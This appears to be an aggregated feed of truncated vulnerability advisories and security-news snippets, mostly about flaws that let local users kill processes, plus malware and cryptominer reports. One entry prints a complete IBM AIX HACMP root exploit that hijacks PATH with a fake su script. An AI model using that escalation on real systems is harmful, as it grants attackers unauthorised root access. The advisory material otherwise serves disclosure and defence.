Security update for the Linux Kernel (important)

The openSUSE Leap 15 kernel was updated to receive various security and bugfixes. The following security bugs were fixed: - CVE-2018-13406: An integer overflow in the uvesafbsetcmap function could have result in local attackers being able to crash the kernel or potentially elevate privileges...

Null pointer dereference

The Linux Kernel versions 4.14, 4.15, and 4.16 has a null pointer dereference which can result in an out of memory OOM killing of large mlocked processes. The issue arises from an oom killed process's final thread calling exitmmap, which calls munlockvmapagesall for mlocked vmas.This can happen...

CVE-2018-1000200

CVE-2018-1000200 (Linux kernel) is detailed in connected Nessus/OpenVAS entries as affecting Linux kernel versions 4.14, 4.15, and 4.16. The vulnerability is a NULL pointer dereference that can trigger an out-of-memory (OOM) kill of large memory-locked (mlocked) processes. The root cause involves...

CVE-2018-1000200

The Linux Kernel versions 4.14, 4.15, and 4.16 has a null pointer dereference which can result in an out of memory OOM killing of large mlocked processes. The issue arises from an oom killed process's final thread calling exitmmap, which calls munlockvmapagesall for mlocked vmas.This can happen...

SquirtDanger malware steal passwords & take screenshots of user activity

By Waqas SquirtDanger is Capable of Draining Crypto-wallets, Killing Process, Stealing Passwords This is a post from HackRead.com Read the original post: SquirtDanger malware steal passwords & take screenshots of user activity...

CVE-2017-18226

CVE-2017-18226 affects Gentoo net-im/jabberd2 up to version 2.6.1, where the process creates/uses /var/run/jabber owned by the jabber user. This ownership could allow local attackers to modify a PID file and kill a root-owned process by exploiting a window between PID-file modification and the ro...

CVE-2017-10271 Used to Deliver CryptoMiners: An Overview of Techniques Used Post-Exploitation and Pre-Mining

Introduction FireEye researchers recently observed threat actors abusing CVE-2017-10271 to deliver various cryptocurrency miners. CVE-2017-10271 is a known input validation vulnerability that exists in the WebLogic Server Security Service WLS Security in Oracle WebLogic Server versions 12.2.1.2.0...

Code injection

It was found that rhnsd PID files are created as world-writable that allows local attackers to fill the disks or to kill selected processes...

CVE-2017-7560

It was found that rhnsd PID files are created as world-writable that allows local attackers to fill the disks or to kill selected processes...

CVE-2017-14102

MIMEDefang 2.80 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a "kill cat /pathname" command, as...

CVE-2017-11747

main.c in Tinyproxy 1.8.4 and earlier creates a /run/tinyproxy/tinyproxy.pid file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for tinyproxy.pid modification before a root script executes a...

Medium: util-linux

Issue Overview: Sending SIGKILL to other processes with root privileges via su: A race condition was found in the way su handled the management of child processes. A local authenticated attacker could use this flaw to kill other processes with root privileges under specific conditions.CVE-2017-26...

util-linux: Sending SIGKILL to other processes with root privileges via su

A race condition was found in the way su handled the management of child processes. A local authenticated attacker could use this flaw to kill other processes with root privileges under specific conditions...

coreutils security and bug fix update

8.4-46.0.1 - clean up empty file if cp is failed Orabug 15973168 8.4-46 - pure rebuild to bring back support for aclextendedfilenofollow on x8664 8.4-45 - su: deny killing other processes with root privileges CVE-2017-2616 8.4-44 - fix the functionality of 'sort -h -k ...' in multi-byte locales...

Recent js blackmailer anti-killing skills analysis-vulnerability warning-the black bar safety net

Recently many users reflect the computer in a blackmailer virus, also known as the“Locky ransomware”, the computer in documents, pictures and other important information is virus encryption. Such viral vectors for the js script by js script download remote server of the pe file, and that this pe...

IBM AIX High Availability Cluster Multiprocessing (HACMP) - Local Privilege Escalation

IBM AIX High Availability Cluster Multiprocessing HACMP LPE to root 0day Let's kill some more bugs today and force vendor improvement : """ $ cat /tmp/su !/bin/sh /bin/sh $ chmod +x /tmp/su $ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd /usr/bin/whoami root """ References:...

CVE-2012-4833

CVE-2012-4833 affects IBM AIX 6.1 and 7.1 (and related VIOS) where fuser/ -k is improperly restricted, allowing a local attacker to kill another user’s processes and cause a denial of service. The connected Nessus advisories (e.g., U854841/U854868/U854603 for bos.rte.filesystem and IV28756/IV2874...

Command injection

IBM WebSphere MQ 6.0 on OpenVMS, when the default rights of the MQM group are established, does not properly verify User Authorization File UAF data, which allows local users to kill listener processes and the command server via a control command...

Google Chrome PoC, killing thread

No description provided by source. -' pigtail23 -' -' www.remoteshell.de -.OO .- OO.- OO .-/ -. .' \ ,--' ,----'/ '. / ,---. ,--',--. .----. .----. ...--'' | OO' .-OO |'--...| \ /.\ | OO| -',-. |.-, | | |.' | | | | | .-, --. .--''-'|.' | | | | |OO .' .' | | ..'| |/ | | './ | | | .-. || |/| ' |...

Google Chrome - Killing Thread (PoC)

Google Chrome - Killing Thread PoC -' pigtail23 -' -' www.remoteshell.de -.OO .- OO.- OO .-/ | '-' | | | | | | | | |'-| |'| |\ -' / --' --' -----' --' --' --' --' -----' ------' ---'' October 22, 2011 Ohh nice! What u doing google? Thx 4 ur bug! 0o Google Chrome PoC, killing thread. Exploitable o...